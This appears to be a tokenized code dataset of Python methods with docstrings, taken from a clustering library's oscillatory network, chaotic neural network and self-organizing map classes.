{"signature": "def __init__(self, num_osc, increase_strength1, increase_strength2, ccore = True):", "body": "if ( (ccore is True) and ccore_library.workable() ):<EOL><INDENT>self._ccore_network_pointer = wrapper.syncpr_create(num_osc, increase_strength1, increase_strength2);<EOL><DEDENT>else:<EOL><INDENT>self._increase_strength1 = increase_strength1;<EOL>self._increase_strength2 = increase_strength2;<EOL>self._coupling = [ [<NUM_LIT:0.0> for i in range(num_osc)] for j in range(num_osc) ];<EOL>super().__init__(num_osc, <NUM_LIT:1>, <NUM_LIT:0>, conn_type.ALL_TO_ALL, conn_represent.MATRIX, initial_type.RANDOM_GAUSSIAN, ccore)<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of oscillatory network for pattern recognition based on Kuramoto model.\n\n        @param[in] num_osc (uint): Number of oscillators in the network.\n        @param[in] increase_strength1 (double): Parameter for increasing strength of the second term of the Fourier component.\n        @param[in] increase_strength2 (double): Parameter for increasing strength of the third term of the Fourier component.\n        @param[in] ccore (bool): If True simulation is performed by CCORE library (C++ implementation of pyclustering).", "id": "f15664:c2:m0"}
{"signature": "def __del__(self):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>wrapper.syncpr_destroy(self._ccore_network_pointer);<EOL>self._ccore_network_pointer = None;<EOL><DEDENT>", "docstring": "!\n        @brief Default destructor of syncpr.", "id": "f15664:c2:m1"}
{"signature": "def __len__(self):", "body": "if (self._ccore_network_pointer is not None):<EOL><INDENT>return wrapper.syncpr_get_size(self._ccore_network_pointer);<EOL><DEDENT>else:<EOL><INDENT>return self._num_osc;<EOL><DEDENT>", "docstring": "!\n        @brief Returns size of the network.", "id": "f15664:c2:m2"}
{"signature": "def train(self, samples):", "body": "<EOL>for pattern in samples:<EOL><INDENT>self.__validate_pattern(pattern);<EOL><DEDENT>if (self._ccore_network_pointer is not None):<EOL><INDENT>return wrapper.syncpr_train(self._ccore_network_pointer, samples);<EOL><DEDENT>length = len(self);<EOL>number_samples = len(samples);<EOL>for i in range(length):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, len(self), <NUM_LIT:1>):<EOL><INDENT>for p in range(number_samples):<EOL><INDENT>value1 = samples[p][i];<EOL>value2 = samples[p][j];<EOL>self._coupling[i][j] += value1 * value2;<EOL><DEDENT>self._coupling[i][j] /= length;<EOL>self._coupling[j][i] = self._coupling[i][j];<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Trains syncpr network using Hebbian rule for adjusting strength of connections between oscillators during training.\n\n        @param[in] samples (list): list of patterns where each pattern is represented by list of features that are equal to [-1; 1].", "id": "f15664:c2:m3"}
{"signature": "def simulate(self, steps, time, pattern, solution = solve_type.RK4, collect_dynamic = True):", "body": "return self.simulate_static(steps, time, pattern, solution, collect_dynamic)<EOL>", "docstring": "!\n        @brief Performs static simulation of syncpr oscillatory network.\n        @details In other words network performs pattern recognition during simulation.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] pattern (list): Pattern for recognition represented by list of features that are equal to [-1; 1].\n        @param[in] solution (solve_type): Type of solver that should be used for simulation.\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.\n\n        @see simulate_dynamic()\n        @see simulate_static()", "id": "f15664:c2:m4"}
{"signature": "def simulate_dynamic(self, pattern, order = <NUM_LIT>, solution = solve_type.RK4, collect_dynamic = False, step = <NUM_LIT:0.1>, int_step = <NUM_LIT>, threshold_changes = <NUM_LIT>):", "body": "self.__validate_pattern(pattern);<EOL>if (self._ccore_network_pointer is not None):<EOL><INDENT>ccore_instance_dynamic = wrapper.syncpr_simulate_dynamic(self._ccore_network_pointer, pattern, order, solution, collect_dynamic, step);<EOL>return syncpr_dynamic(None, None, ccore_instance_dynamic);<EOL><DEDENT>for i in range(<NUM_LIT:0>, len(pattern), <NUM_LIT:1>):<EOL><INDENT>if (pattern[i] > <NUM_LIT:0.0>):<EOL><INDENT>self._phases[i] = <NUM_LIT:0.0>;<EOL><DEDENT>else:<EOL><INDENT>self._phases[i] = math.pi / <NUM_LIT>;<EOL><DEDENT><DEDENT>time_counter = <NUM_LIT:0>;<EOL>previous_order = <NUM_LIT:0>;<EOL>current_order = self.__calculate_memory_order(pattern);<EOL>dyn_phase = [];<EOL>dyn_time = [];<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(<NUM_LIT:0>);<EOL><DEDENT>while (current_order < order):<EOL><INDENT>self._phases = self._calculate_phases(solution, time_counter, step, int_step);<EOL>time_counter += step;<EOL>if (collect_dynamic == True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(time_counter);<EOL><DEDENT>previous_order = current_order;<EOL>current_order = self.__calculate_memory_order(pattern);<EOL>if (abs(current_order - previous_order) < threshold_changes):<EOL><INDENT>break;<EOL><DEDENT><DEDENT>if (collect_dynamic != True):<EOL><INDENT>dyn_phase.append(self._phases);<EOL>dyn_time.append(time_counter);<EOL><DEDENT>output_sync_dynamic = syncpr_dynamic(dyn_phase, dyn_time, None);<EOL>return output_sync_dynamic<EOL>", "docstring": "!\n        @brief Performs dynamic simulation of the network until stop condition is not reached.\n        @details In other words network performs pattern recognition during simulation. \n                 Stop condition is defined by input argument 'order' that represents memory order, but\n                 process of simulation can be stopped if convergance rate is low whose threshold is defined\n                 by the argument 'threshold_changes'.\n\n        @param[in] pattern (list): Pattern for recognition represented by list of features that are equal to [-1; 1].\n        @param[in] order (double): Order of process synchronization, distributed 0..1.\n        @param[in] solution (solve_type): Type of solution.\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n        @param[in] step (double): Time step of one iteration of simulation.\n        @param[in] int_step (double): Integration step, should be less than step.\n        @param[in] threshold_changes (double): Additional stop condition that helps prevent infinite simulation, defines limit of changes of oscillators between current and previous steps.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.\n\n        @see simulate()\n        @see simulate_static()", "id": "f15664:c2:m5"}
{"signature": "def simulate_static(self, steps, time, pattern, solution = solve_type.FAST, collect_dynamic = False):", "body": "self.__validate_pattern(pattern);<EOL>if (self._ccore_network_pointer is not None):<EOL><INDENT>ccore_instance_dynamic = wrapper.syncpr_simulate_static(self._ccore_network_pointer, steps, time, pattern, solution, collect_dynamic);<EOL>return syncpr_dynamic(None, None, ccore_instance_dynamic);<EOL><DEDENT>for i in range(<NUM_LIT:0>, len(pattern), <NUM_LIT:1>):<EOL><INDENT>if (pattern[i] > <NUM_LIT:0.0>):<EOL><INDENT>self._phases[i] = <NUM_LIT:0.0>;<EOL><DEDENT>else:<EOL><INDENT>self._phases[i] = math.pi / <NUM_LIT>;<EOL><DEDENT><DEDENT>return super().simulate_static(steps, time, solution, collect_dynamic)<EOL>", "docstring": "!\n        @brief Performs static simulation of syncpr oscillatory network.\n        @details In other words network performs pattern recognition during simulation.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] pattern (list): Pattern for recognition represented by list of features that are equal to [-1; 1].\n        @param[in] solution (solve_type): Type of solution.\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n\n        @return (list) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.\n\n        @see simulate()\n        @see simulate_dynamic()", "id": "f15664:c2:m6"}
{"signature": "def memory_order(self, pattern):", "body": "self.__validate_pattern(pattern);<EOL>if (self._ccore_network_pointer is not None):<EOL><INDENT>return wrapper.syncpr_memory_order(self._ccore_network_pointer, pattern);<EOL><DEDENT>else:<EOL><INDENT>return self.__calculate_memory_order(pattern);<EOL><DEDENT>", "docstring": "!\n        @brief Calculates function of the memorized pattern.\n        @details Throws exception if length of pattern is not equal to size of the network or if it consists feature with value that are not equal to [-1; 1].\n\n        @param[in] pattern (list): Pattern for recognition represented by list of features that are equal to [-1; 1].\n\n        @return (double) Order of memory for the specified pattern.", "id": "f15664:c2:m7"}
{"signature": "def __calculate_memory_order(self, pattern):", "body": "memory_order = <NUM_LIT:0.0>;<EOL>for index in range(len(self)):<EOL><INDENT>memory_order += pattern[index] * cmath.exp( <NUM_LIT> * self._phases[index] );<EOL><DEDENT>memory_order /= len(self);<EOL>return abs(memory_order)<EOL>", "docstring": "!\n        @brief Calculates function of the memorized pattern without any pattern validation.\n\n        @param[in] pattern (list): Pattern for recognition represented by list of features that are equal to [-1; 1].\n\n        @return (double) Order of memory for the specified pattern.", "id": "f15664:c2:m8"}
{"signature": "def _phase_kuramoto(self, teta, t, argv):", "body": "index = argv;<EOL>phase = <NUM_LIT:0.0>;<EOL>term = <NUM_LIT:0.0>;<EOL>for k in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>if (k != index):<EOL><INDENT>phase_delta = self._phases[k] - teta;<EOL>phase += self._coupling[index][k] * math.sin(phase_delta);<EOL>term1 = self._increase_strength1 * math.sin(<NUM_LIT> * phase_delta);<EOL>term2 = self._increase_strength2 * math.sin(<NUM_LIT> * phase_delta);<EOL>term += (term1 - term2);<EOL><DEDENT><DEDENT>return ( phase + term / len(self) )<EOL>", "docstring": "!\n        @brief Returns result of phase calculation for specified oscillator in the network.\n\n        @param[in] teta (double): Phase of the oscillator that is differentiated.\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (tuple): Index of the oscillator in the list.\n\n        @return (double) New phase for specified oscillator (don't assign it here).", "id": "f15664:c2:m9"}
{"signature": "def __validate_pattern(self, pattern):", "body": "if (len(pattern) != len(self)):<EOL><INDENT>raise NameError('<STR_LIT>' + len(pattern) + '<STR_LIT>');<EOL><DEDENT>for feature in pattern:<EOL><INDENT>if ( (feature != -<NUM_LIT:1.0>) and (feature != <NUM_LIT:1.0>) ):<EOL><INDENT>raise NameError('<STR_LIT>' + feature + '<STR_LIT>');<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Validates pattern.\n        @details Throws exception if length of pattern is not equal to size of the network or if it consists feature with value that are not equal to [-1; 1].\n\n        @param[in] pattern (list): Pattern for recognition represented by list of features that are equal to [-1; 1].", "id": "f15664:c2:m10"}
{"signature": "def __init__(self, output=None, time=None):", "body": "<EOL>self.output = output or []<EOL>self.time = time or []<EOL>", "docstring": "!\n        @brief Costructor of the chaotic neural network output dynamic.\n\n        @param[in] output (list): Dynamic of oscillators on each step of simulation.\n        @param[in] time (list): Simulation time.", "id": "f15665:c1:m0"}
{"signature": "def __len__(self):", "body": "return len(self.output)<EOL>", "docstring": "!\n        @brief (uint) Returns amount of simulation steps that are stored.", "id": "f15665:c1:m1"}
{"signature": "def allocate_observation_matrix(self):", "body": "number_neurons = len(self.output[<NUM_LIT:0>])<EOL>observation_matrix = []<EOL>for iteration in range(len(self.output)):<EOL><INDENT>obervation_column = []<EOL>for index_neuron in range(number_neurons):<EOL><INDENT>obervation_column.append(heaviside(self.output[iteration][index_neuron]))<EOL><DEDENT>observation_matrix.append(obervation_column)<EOL><DEDENT>return observation_matrix<EOL>", "docstring": "!\n        @brief Allocates observation matrix in line with output dynamic of the network.\n        @details Matrix where state of each neuron is denoted by zero/one in line with Heaviside function on each iteration.\n\n        @return (list) Observation matrix of the network dynamic.", "id": "f15665:c1:m2"}
{"signature": "def __allocate_neuron_patterns(self, start_iteration, stop_iteration):", "body": "pattern_matrix = []<EOL>for index_neuron in range(len(self.output[<NUM_LIT:0>])):<EOL><INDENT>pattern_neuron = []<EOL>for iteration in range(start_iteration, stop_iteration):<EOL><INDENT>pattern_neuron.append(heaviside(self.output[iteration][index_neuron]))<EOL><DEDENT>pattern_matrix.append(pattern_neuron)<EOL><DEDENT>return pattern_matrix<EOL>", "docstring": "!\n        @brief Allocates observation transposed matrix of neurons that is limited by specified periods of simulation.\n        @details Matrix where state of each neuron is denoted by zero/one in line with Heaviside function on each iteration.\n\n        @return (list) Transposed observation matrix that is limited by specified periods of simulation.", "id": "f15665:c1:m3"}
{"signature": "def allocate_sync_ensembles(self, steps):", "body": "iterations = steps<EOL>if iterations >= len(self.output):<EOL><INDENT>iterations = len(self.output)<EOL><DEDENT>ensembles = []<EOL>start_iteration = len(self.output) - iterations<EOL>end_iteration = len(self.output)<EOL>pattern_matrix = self.__allocate_neuron_patterns(start_iteration, end_iteration)<EOL>ensembles.append( [<NUM_LIT:0>] )<EOL>for index_neuron in range(<NUM_LIT:1>, len(self.output[<NUM_LIT:0>])):<EOL><INDENT>neuron_pattern = pattern_matrix[index_neuron][:]<EOL>neuron_assigned = False<EOL>for ensemble in ensembles:<EOL><INDENT>ensemble_pattern = pattern_matrix[ensemble[<NUM_LIT:0>]][:]<EOL>if neuron_pattern == ensemble_pattern:<EOL><INDENT>ensemble.append(index_neuron)<EOL>neuron_assigned = True<EOL>break<EOL><DEDENT><DEDENT>if neuron_assigned is False:<EOL><INDENT>ensembles.append( [index_neuron] )<EOL><DEDENT><DEDENT>return ensembles<EOL>", "docstring": "!\n        @brief Allocate clusters in line with ensembles of synchronous neurons where each synchronous ensemble corresponds to only one cluster.\n\n        @param[in] steps (double): Amount of steps from the end that is used for analysis. During specified period chaotic neural network should have stable output\n                    otherwise inccorect results are allocated.\n\n        @return (list) Grours (lists) of indexes of synchronous oscillators.\n                For example [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].", "id": "f15665:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def show_output_dynamic(cnn_output_dynamic):<DEDENT>", "body": "draw_dynamics(cnn_output_dynamic.time, cnn_output_dynamic.output, x_title = \"<STR_LIT:t>\", y_title = \"<STR_LIT:x>\")<EOL>", "docstring": "!\n        @brief Shows output dynamic (output of each neuron) during simulation.\n\n        @param[in] cnn_output_dynamic (cnn_dynamic): Output dynamic of the chaotic neural network.\n\n        @see show_dynamic_matrix\n        @see show_observation_matrix", "id": "f15665:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_dynamic_matrix(cnn_output_dynamic):<DEDENT>", "body": "network_dynamic = numpy.array(cnn_output_dynamic.output)<EOL>plt.imshow(network_dynamic.T, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT:None>', vmin = <NUM_LIT:0.0>, vmax = <NUM_LIT:1.0>)<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows output dynamic as matrix in grey colors.\n        @details This type of visualization is convenient for observing allocated clusters.\n\n        @param[in] cnn_output_dynamic (cnn_dynamic): Output dynamic of the chaotic neural network.\n\n        @see show_output_dynamic\n        @see show_observation_matrix", "id": "f15665:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def show_observation_matrix(cnn_output_dynamic):<DEDENT>", "body": "observation_matrix = numpy.array(cnn_output_dynamic.allocate_observation_matrix())<EOL>plt.imshow(observation_matrix.T, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT:None>', vmin = <NUM_LIT:0.0>, vmax = <NUM_LIT:1.0>)<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows observation matrix as black/white blocks.\n        @details This type of visualization is convenient for observing allocated clusters.\n\n        @param[in] cnn_output_dynamic (cnn_dynamic): Output dynamic of the chaotic neural network.\n\n        @see show_output_dynamic\n        @see show_dynamic_matrix", "id": "f15665:c2:m2"}
{"signature": "def __init__(self, num_osc, conn_type = type_conn.ALL_TO_ALL, amount_neighbors = <NUM_LIT:3>):", "body": "self.__num_osc = num_osc<EOL>self.__conn_type = conn_type<EOL>self.__amount_neighbors = amount_neighbors<EOL>self.__average_distance = <NUM_LIT:0.0><EOL>self.__weights = None<EOL>self.__weights_summary = None<EOL>self.__location = None     <EOL>random.seed()<EOL>self.__output = [ random.random() for _ in range(num_osc) ]<EOL>", "docstring": "!\n        @brief Constructor of chaotic neural network.\n\n        @param[in] num_osc (uint): Amount of neurons in the chaotic neural network.\n        @param[in] conn_type (type_conn): CNN type connection for the network.\n        @param[in] amount_neighbors (uint): k-nearest neighbors for calculation scaling constant of weights.", "id": "f15665:c3:m0"}
{"signature": "def __len__(self):", "body": "return self.__num_osc<EOL>", "docstring": "!\n        @brief Returns size of the chaotic neural network that is defined by amount of neurons.", "id": "f15665:c3:m1"}
{"signature": "def simulate(self, steps, stimulus):", "body": "self.__create_weights(stimulus)<EOL>self.__location = stimulus<EOL>dynamic = cnn_dynamic([], [])<EOL>dynamic.output.append(self.__output)<EOL>dynamic.time.append(<NUM_LIT:0>)<EOL>for step in range(<NUM_LIT:1>, steps, <NUM_LIT:1>):<EOL><INDENT>self.__output = self.__calculate_states()<EOL>dynamic.output.append(self.__output)<EOL>dynamic.time.append(step)<EOL><DEDENT>return dynamic<EOL>", "docstring": "!\n        @brief Simulates chaotic neural network with extrnal stimulus during specified steps.\n        @details Stimulus are considered as a coordinates of neurons and in line with that weights\n                 are initialized.\n\n        @param[in] steps (uint): Amount of steps for simulation.\n        @param[in] stimulus (list): Stimulus that are used for simulation.\n\n        @return (cnn_dynamic) Output dynamic of the chaotic neural network.", "id": "f15665:c3:m2"}
{"signature": "def __calculate_states(self):", "body": "output = [ <NUM_LIT:0.0> for _ in range(self.__num_osc) ]<EOL>for i in range(self.__num_osc):<EOL><INDENT>output[i] = self.__neuron_evolution(i)<EOL><DEDENT>return output<EOL>", "docstring": "!\n        @brief Calculates new state of each neuron.\n        @detail There is no any assignment.\n\n        @return (list) Returns new states (output).", "id": "f15665:c3:m3"}
{"signature": "def __neuron_evolution(self, index):", "body": "value = <NUM_LIT:0.0><EOL>for index_neighbor in range(self.__num_osc):<EOL><INDENT>value += self.__weights[index][index_neighbor] * (<NUM_LIT:1.0> - <NUM_LIT> * (self.__output[index_neighbor] ** <NUM_LIT:2>))<EOL><DEDENT>return value / self.__weights_summary[index]<EOL>", "docstring": "!\n        @brief Calculates state of the neuron with specified index.\n\n        @param[in] index (uint): Index of neuron in the network.\n\n        @return (double) New output of the specified neuron.", "id": "f15665:c3:m4"}
{"signature": "def __create_weights(self, stimulus):", "body": "self.__average_distance = average_neighbor_distance(stimulus, self.__amount_neighbors)<EOL>self.__weights = [ [ <NUM_LIT:0.0> for _ in range(len(stimulus)) ] for _ in range(len(stimulus)) ]<EOL>self.__weights_summary = [ <NUM_LIT:0.0> for _ in range(self.__num_osc) ]<EOL>if self.__conn_type == type_conn.ALL_TO_ALL:<EOL><INDENT>self.__create_weights_all_to_all(stimulus)<EOL><DEDENT>elif self.__conn_type == type_conn.TRIANGULATION_DELAUNAY:<EOL><INDENT>self.__create_weights_delaunay_triangulation(stimulus)<EOL><DEDENT>", "docstring": "!\n        @brief Create weights between neurons in line with stimulus.\n\n        @param[in] stimulus (list): External stimulus for the chaotic neural network.", "id": "f15665:c3:m5"}
{"signature": "def __create_weights_all_to_all(self, stimulus):", "body": "for i in range(len(stimulus)):<EOL><INDENT>for j in range(i + <NUM_LIT:1>, len(stimulus)):<EOL><INDENT>weight = self.__calculate_weight(stimulus[i], stimulus[j])<EOL>self.__weights[i][j] = weight<EOL>self.__weights[j][i] = weight<EOL>self.__weights_summary[i] += weight<EOL>self.__weights_summary[j] += weight<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Create weight all-to-all structure between neurons in line with stimulus.\n\n        @param[in] stimulus (list): External stimulus for the chaotic neural network.", "id": "f15665:c3:m6"}
{"signature": "def __create_weights_delaunay_triangulation(self, stimulus):", "body": "points = numpy.array(stimulus)<EOL>triangulation = Delaunay(points)<EOL>for triangle in triangulation.simplices:<EOL><INDENT>for index_tri_point1 in range(len(triangle)):<EOL><INDENT>for index_tri_point2 in range(index_tri_point1 + <NUM_LIT:1>, len(triangle)):<EOL><INDENT>index_point1 = triangle[index_tri_point1]<EOL>index_point2 = triangle[index_tri_point2]<EOL>weight = self.__calculate_weight(stimulus[index_point1], stimulus[index_point2])<EOL>self.__weights[index_point1][index_point2] = weight<EOL>self.__weights[index_point2][index_point1] = weight<EOL>self.__weights_summary[index_point1] += weight<EOL>self.__weights_summary[index_point2] += weight<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Create weight Denlauny triangulation structure between neurons in line with stimulus.\n\n        @param[in] stimulus (list): External stimulus for the chaotic neural network.", "id": "f15665:c3:m7"}
{"signature": "def __calculate_weight(self, stimulus1, stimulus2):", "body": "distance = euclidean_distance_square(stimulus1, stimulus2)<EOL>return math.exp(-distance / (<NUM_LIT> * self.__average_distance))<EOL>", "docstring": "!\n        @brief Calculate weight between neurons that have external stimulus1 and stimulus2.\n\n        @param[in] stimulus1 (list): External stimulus of the first neuron.\n        @param[in] stimulus2 (list): External stimulus of the second neuron.\n\n        @return (double) Weight between neurons that are under specified stimulus.", "id": "f15665:c3:m8"}
{"signature": "def show_network(self):", "body": "dimension = len(self.__location[<NUM_LIT:0>])<EOL>if (dimension != <NUM_LIT:3>) and (dimension != <NUM_LIT:2>):<EOL><INDENT>raise NameError('<STR_LIT>')<EOL><DEDENT>(fig, axes) = self.__create_surface(dimension)<EOL>for i in range(<NUM_LIT:0>, self.__num_osc, <NUM_LIT:1>):<EOL><INDENT>if dimension == <NUM_LIT:2>:<EOL><INDENT>axes.plot(self.__location[i][<NUM_LIT:0>], self.__location[i][<NUM_LIT:1>], '<STR_LIT>')<EOL>for j in range(i, self.__num_osc, <NUM_LIT:1>):    <EOL><INDENT>if self.__weights[i][j] > <NUM_LIT:0.0>:<EOL><INDENT>axes.plot([self.__location[i][<NUM_LIT:0>], self.__location[j][<NUM_LIT:0>]], [self.__location[i][<NUM_LIT:1>], self.__location[j][<NUM_LIT:1>]], '<STR_LIT>', linewidth = <NUM_LIT:0.5>)<EOL><DEDENT><DEDENT><DEDENT>elif dimension == <NUM_LIT:3>:<EOL><INDENT>axes.scatter(self.__location[i][<NUM_LIT:0>], self.__location[i][<NUM_LIT:1>], self.__location[i][<NUM_LIT:2>], c = '<STR_LIT:b>', marker = '<STR_LIT:o>')<EOL>for j in range(i, self.__num_osc, <NUM_LIT:1>):    <EOL><INDENT>if self.__weights[i][j] > <NUM_LIT:0.0>:<EOL><INDENT>axes.plot([self.__location[i][<NUM_LIT:0>], self.__location[j][<NUM_LIT:0>]], [self.__location[i][<NUM_LIT:1>], self.__location[j][<NUM_LIT:1>]], [self.__location[i][<NUM_LIT:2>], self.__location[j][<NUM_LIT:2>]], '<STR_LIT>', linewidth = <NUM_LIT:0.5>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>plt.grid()<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows structure of the network: neurons and connections between them.", "id": "f15665:c3:m9"}
{"signature": "def __create_surface(self, dimension):", "body": "rcParams['<STR_LIT>'] = ['<STR_LIT>']<EOL>rcParams['<STR_LIT>'] = <NUM_LIT:12><EOL>fig = plt.figure()<EOL>axes = None<EOL>if dimension == <NUM_LIT:2>:<EOL><INDENT>axes = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>elif dimension == <NUM_LIT:3>:<EOL><INDENT>axes = fig.gca(projection='<STR_LIT>')<EOL><DEDENT>surface_font = FontProperties()<EOL>surface_font.set_name('<STR_LIT>')<EOL>surface_font.set_size('<STR_LIT>')<EOL>return (fig, axes)<EOL>", "docstring": "!\n        @brief Prepares surface for showing network structure in line with specified dimension.\n\n        @param[in] dimension (uint): Dimension of processed data (external stimulus).\n\n        @return (tuple) Description of surface for drawing network structure.", "id": "f15665:c3:m10"}
{"signature": "def __init__(self):", "body": "<EOL>self.init_type = type_init.uniform_grid<EOL>self.init_radius = None<EOL>self.init_learn_rate = <NUM_LIT:0.1><EOL>self.adaptation_threshold = <NUM_LIT><EOL>", "docstring": "!\n        @brief Constructor container of SOM parameters.", "id": "f15666:c2:m0"}
{"signature": "@property<EOL><INDENT>def size(self):<DEDENT>", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._size = wrapper.som_get_size(self.__ccore_som_pointer)<EOL><DEDENT>return self._size<EOL>", "docstring": "!\n        @brief Return size of self-organized map that is defined by total number of neurons.\n\n        @return (uint) Size of self-organized map (number of neurons).", "id": "f15666:c3:m0"}
{"signature": "@property<EOL><INDENT>def weights(self):<DEDENT>", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._weights = wrapper.som_get_weights(self.__ccore_som_pointer)<EOL><DEDENT>return self._weights<EOL>", "docstring": "!\n        @brief Return weight of each neuron.\n\n        @return (list) Weights of each neuron.", "id": "f15666:c3:m1"}
{"signature": "@property<EOL><INDENT>def awards(self):<DEDENT>", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._award = wrapper.som_get_awards(self.__ccore_som_pointer)<EOL><DEDENT>return self._award<EOL>", "docstring": "!\n        @brief Return amount of captured objects by each neuron after training.\n\n        @return (list) Amount of captured objects by each neuron.\n\n        @see train()", "id": "f15666:c3:m2"}
{"signature": "@property<EOL><INDENT>def capture_objects(self):<DEDENT>", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._capture_objects = wrapper.som_get_capture_objects(self.__ccore_som_pointer)<EOL><DEDENT>return self._capture_objects<EOL>", "docstring": "!\n        @brief Returns indexes of captured objects by each neuron.\n        @details For example, network with size 2x2 has been trained on 5 sample, we neuron #1 has won one object with\n                  index '1', neuron #2 - objects with indexes '0', '3', '4', neuron #3 - nothing, neuron #4 - object\n                  with index '2'. Thus, output is [ [1], [0, 3, 4], [], [2] ].\n\n        @return (list) Indexes of captured objects by each neuron.", "id": "f15666:c3:m3"}
{"signature": "def __init__(self, rows, cols, conn_type = type_conn.grid_eight, parameters = None, ccore = True):", "body": "<EOL>self._cols = cols<EOL>self._rows = rows<EOL>self._size = cols * rows<EOL>self._conn_type = conn_type<EOL>self._data = None<EOL>self._neighbors = None<EOL>self._local_radius = <NUM_LIT:0.0><EOL>self._learn_rate = <NUM_LIT:0.0><EOL>self.__ccore_som_pointer = None<EOL>if parameters is not None:<EOL><INDENT>self._params = parameters<EOL><DEDENT>else:<EOL><INDENT>self._params = som_parameters()<EOL><DEDENT>if self._params.init_radius is None:<EOL><INDENT>self._params.init_radius = self.__initialize_initial_radius(rows, cols)<EOL><DEDENT>if (ccore is True) and ccore_library.workable():<EOL><INDENT>self.__ccore_som_pointer = wrapper.som_create(rows, cols, conn_type, self._params)<EOL><DEDENT>else:<EOL><INDENT>self._location = self.__initialize_locations(rows, cols)<EOL>self._weights = [ [<NUM_LIT:0.0>] ] * self._size<EOL>self._award = [<NUM_LIT:0>] * self._size<EOL>self._capture_objects = [ [] for i in range(self._size) ]<EOL>self._sqrt_distances = None<EOL>if conn_type != type_conn.func_neighbor:<EOL><INDENT>self._create_connections(conn_type)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Constructor of self-organized map.\n\n        @param[in] rows (uint): Number of neurons in the column (number of rows).\n        @param[in] cols (uint): Number of neurons in the row (number of columns).\n        @param[in] conn_type (type_conn): Type of connection between oscillators in the network (grid four, grid eight, honeycomb, function neighbour).\n        @param[in] parameters (som_parameters): Other specific parameters.\n        @param[in] ccore (bool): If True simulation is performed by CCORE library (C++ implementation of pyclustering).", "id": "f15666:c3:m4"}
{"signature": "def __del__(self):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>wrapper.som_destroy(self.__ccore_som_pointer)<EOL><DEDENT>", "docstring": "!\n        @brief Destructor of the self-organized feature map.", "id": "f15666:c3:m5"}
{"signature": "def __len__(self):", "body": "return self._size<EOL>", "docstring": "!\n        @brief Returns size of the network that defines by amount of neuron in it.\n\n        @return (uint) Size of self-organized map (amount of neurons).", "id": "f15666:c3:m6"}
{"signature": "def __getstate__(self):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self.__download_dump_from_ccore()<EOL>return self.__get_dump_from_python(True)<EOL><DEDENT>return self.__get_dump_from_python(False)<EOL>", "docstring": "@brief Returns state of SOM network that can be used to store network.", "id": "f15666:c3:m7"}
{"signature": "def __setstate__(self, som_state):", "body": "if som_state['<STR_LIT>'] is True and ccore_library.workable():<EOL><INDENT>self.__upload_dump_to_ccore(som_state['<STR_LIT:state>'])<EOL><DEDENT>else:<EOL><INDENT>self.__upload_dump_to_python(som_state['<STR_LIT:state>'])<EOL><DEDENT>", "docstring": "@brief Set state of SOM network that can be used to load network.", "id": "f15666:c3:m8"}
{"signature": "def __initialize_initial_radius(self, rows, cols):", "body": "if (cols + rows) / <NUM_LIT> > <NUM_LIT:1.0>:<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>elif (cols > <NUM_LIT:1>) and (rows > <NUM_LIT:1>):<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>else: <EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>", "docstring": "!\n        @brief Initialize initial radius using map sizes.\n\n        @param[in] rows (uint): Number of neurons in the column (number of rows).\n        @param[in] cols (uint): Number of neurons in the row (number of columns).\n\n        @return (list) Value of initial radius.", "id": "f15666:c3:m9"}
{"signature": "def __initialize_locations(self, rows, cols):", "body": "location = list()<EOL>for i in range(rows):<EOL><INDENT>for j in range(cols):<EOL><INDENT>location.append([float(i), float(j)])<EOL><DEDENT><DEDENT>return location<EOL>", "docstring": "!\n        @brief Initialize locations (coordinates in SOM grid) of each neurons in the map.\n\n        @param[in] rows (uint): Number of neurons in the column (number of rows).\n        @param[in] cols (uint): Number of neurons in the row (number of columns).\n\n        @return (list) List of coordinates of each neuron in map.", "id": "f15666:c3:m10"}
